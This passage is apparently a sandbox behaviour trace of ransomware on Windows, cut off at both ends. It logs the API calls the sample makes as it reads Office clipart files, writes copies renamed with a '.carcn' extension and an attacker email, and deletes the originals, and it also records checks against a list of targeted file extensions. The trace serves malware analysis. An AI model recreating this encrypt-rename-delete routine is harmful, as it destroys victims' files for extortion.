dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0286.091] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.091] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0286.103] GetLastError () returned 0x0 [0286.103] ReadFile (in: hFile=0x564, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x1526, lpOverlapped=0x0) returned 1 [0286.113] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x1530, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x1530, lpOverlapped=0x0) returned 1 [0286.114] ReadFile (in: hFile=0x564, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.114] WriteFile (in: hFile=0x4ac, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.114] SetEndOfFile (hFile=0x4ac) returned 1 [0286.153] CloseHandle (hObject=0x4ac) returned 1 [0286.153] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.153] SetEndOfFile (hFile=0x564) returned 1 [0286.173] CloseHandle (hObject=0x564) returned 1 [0286.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.517] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01759_.wmf")) returned 1 [0286.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.518] lstrlenW (lpString=".doc") returned 4 [0286.518] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.518] lstrlenW (lpString=".docx") returned 5 [0286.518] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.518] lstrlenW (lpString=".pdf") returned 4 [0286.518] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.518] lstrlenW (lpString=".xls") returned 4 [0286.518] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.518] lstrlenW (lpString=".xlsx") returned 5 [0286.518] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.518] lstrlenW (lpString=".ppt") returned 4 [0286.518] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.518] lstrlenW (lpString=".zip") returned 4 [0286.518] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.518] lstrlenW (lpString=".rar") returned 4 [0286.518] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.518] lstrlenW (lpString=".bz2") returned 4 [0286.518] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.518] lstrlenW (lpString=".7z") returned 3 [0286.519] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.519] lstrlenW (lpString=".dbf") returned 4 [0286.519] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.519] lstrlenW (lpString=".1cd") returned 4 [0286.519] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.519] lstrlenW (lpString=".jpg") returned 4 [0286.519] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.519] lstrlenW (lpString=".doc") returned 4 [0286.519] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.519] lstrlenW (lpString=".docx") returned 5 [0286.519] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.519] lstrlenW (lpString=".pdf") returned 4 [0286.519] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.519] lstrlenW (lpString=".xls") returned 4 [0286.519] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.519] lstrlenW (lpString=".xlsx") returned 5 [0286.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.519] lstrlenW (lpString=".ppt") returned 4 [0286.519] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.520] lstrlenW (lpString=".zip") returned 4 [0286.520] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.520] lstrlenW (lpString=".rar") returned 4 [0286.520] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.520] lstrlenW (lpString=".bz2") returned 4 [0286.520] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.520] lstrlenW (lpString=".7z") returned 3 [0286.520] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.520] lstrlenW (lpString=".dbf") returned 4 [0286.520] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.520] lstrlenW (lpString=".1cd") returned 4 [0286.520] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01759_.WMF") returned 68 [0286.520] lstrlenW (lpString=".jpg") returned 4 [0286.520] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.520] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.520] lstrlenW (lpString="HM00114_.WMF") returned 12 [0286.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0286.522] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=22116) returned 1 [0286.522] CloseHandle (hObject=0x568) returned 1 [0286.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0286.522] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0286.522] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.523] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.523] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0286.524] GetLastError () returned 0x0 [0286.524] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x5664, lpOverlapped=0x0) returned 1 [0286.534] WriteFile (in: hFile=0x394, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x5670, lpOverlapped=0x0) returned 1 [0286.535] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.535] WriteFile (in: hFile=0x394, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.535] SetEndOfFile (hFile=0x394) returned 1 [0286.536] CloseHandle (hObject=0x394) returned 1 [0286.536] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.536] SetEndOfFile (hFile=0x568) returned 1 [0286.561] CloseHandle (hObject=0x568) returned 1 [0286.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0286.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.562] lstrlenW (lpString=".doc") returned 4 [0286.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.562] lstrlenW (lpString=".docx") returned 5 [0286.562] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.562] lstrlenW (lpString=".pdf") returned 4 [0286.562] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.562] lstrlenW (lpString=".xls") returned 4 [0286.562] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.562] lstrlenW (lpString=".xlsx") returned 5 [0286.562] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.562] lstrlenW (lpString=".ppt") returned 4 [0286.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.562] lstrlenW (lpString=".zip") returned 4 [0286.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.562] lstrlenW (lpString=".rar") returned 4 [0286.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.562] lstrlenW (lpString=".bz2") returned 4 [0286.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.562] lstrlenW (lpString=".7z") returned 3 [0286.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.563] lstrlenW (lpString=".dbf") returned 4 [0286.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.563] lstrlenW (lpString=".1cd") returned 4 [0286.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.563] lstrlenW (lpString=".jpg") returned 4 [0286.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.563] lstrlenW (lpString=".doc") returned 4 [0286.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.563] lstrlenW (lpString=".docx") returned 5 [0286.563] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.563] lstrlenW (lpString=".pdf") returned 4 [0286.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.563] lstrlenW (lpString=".xls") returned 4 [0286.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.563] lstrlenW (lpString=".xlsx") returned 5 [0286.563] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.563] lstrlenW (lpString=".ppt") returned 4 [0286.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.563] lstrlenW (lpString=".zip") returned 4 [0286.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.563] lstrlenW (lpString=".rar") returned 4 [0286.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.564] lstrlenW (lpString=".bz2") returned 4 [0286.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.564] lstrlenW (lpString=".7z") returned 3 [0286.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.564] lstrlenW (lpString=".dbf") returned 4 [0286.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.564] lstrlenW (lpString=".1cd") returned 4 [0286.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 68 [0286.564] lstrlenW (lpString=".jpg") returned 4 [0286.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.564] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.564] lstrlenW (lpString="HM00116_.WMF") returned 12 [0286.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0286.565] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=15852) returned 1 [0286.565] CloseHandle (hObject=0x568) returned 1 [0286.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0286.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0286.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0286.569] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.569] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0286.579] GetLastError () returned 0x0 [0286.579] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x3dec, lpOverlapped=0x0) returned 1 [0286.633] WriteFile (in: hFile=0x394, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0x3df0, lpOverlapped=0x0) returned 1 [0286.634] ReadFile (in: hFile=0x568, lpBuffer=0x382f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0286.635] WriteFile (in: hFile=0x394, lpBuffer=0x382f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x382f020*, lpNumberOfBytesWritten=0x2d1fc94*=0xec, lpOverlapped=0x0) returned 1 [0286.635] SetEndOfFile (hFile=0x394) returned 1 [0286.635] CloseHandle (hObject=0x394) returned 1 [0286.635] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0286.635] SetEndOfFile (hFile=0x568) returned 1 [0286.639] CloseHandle (hObject=0x568) returned 1 [0286.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0286.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 1 [0286.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.641] lstrlenW (lpString=".doc") returned 4 [0286.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.641] lstrlenW (lpString=".docx") returned 5 [0286.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.641] lstrlenW (lpString=".pdf") returned 4 [0286.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.641] lstrlenW (lpString=".xls") returned 4 [0286.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.642] lstrlenW (lpString=".xlsx") returned 5 [0286.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.642] lstrlenW (lpString=".ppt") returned 4 [0286.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.642] lstrlenW (lpString=".zip") returned 4 [0286.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.642] lstrlenW (lpString=".rar") returned 4 [0286.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.642] lstrlenW (lpString=".bz2") returned 4 [0286.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.642] lstrlenW (lpString=".7z") returned 3 [0286.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.642] lstrlenW (lpString=".dbf") returned 4 [0286.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.642] lstrlenW (lpString=".1cd") returned 4 [0286.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.642] lstrlenW (lpString=".jpg") returned 4 [0286.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.643] lstrlenW (lpString=".doc") returned 4 [0286.643] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0286.643] lstrlenW (lpString=".docx") returned 5 [0286.643] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0286.643] lstrlenW (lpString=".pdf") returned 4 [0286.643] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0286.643] lstrlenW (lpString=".xls") returned 4 [0286.643] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0286.643] lstrlenW (lpString=".xlsx") returned 5 [0286.643] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0286.643] lstrlenW (lpString=".ppt") returned 4 [0286.643] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0286.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.643] lstrlenW (lpString=".zip") returned 4 [0286.643] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0286.643] lstrlenW (lpString=".rar") returned 4 [0286.643] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0286.643] lstrlenW (lpString=".bz2") returned 4 [0286.643] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0286.643] lstrlenW (lpString=".7z") returned 3 [0286.644] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0286.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.644] lstrlenW (lpString=".dbf") returned 4 [0286.644] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0286.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.644] lstrlenW (lpString=".1cd") returned 4 [0286.644] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0286.644] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF") returned 68 [0286.644] lstrlenW (lpString=".jpg") returned 4 [0286.644] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0286.644] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0286.644] lstrlenW (lpString="IN00118_.WMF") returned 12 [0286.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0286.802] GetFileSizeEx (in: hFile=0x41c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=792) returned 1 [0286.802] CloseHandle (hObject=0x41c) returned 1 [0286.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf")) returned 0x220 [0287.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0287.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0287.591] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0287.591] SetFilePointerEx (in: hFile=0x41c, liDistanceToMove=0x0, 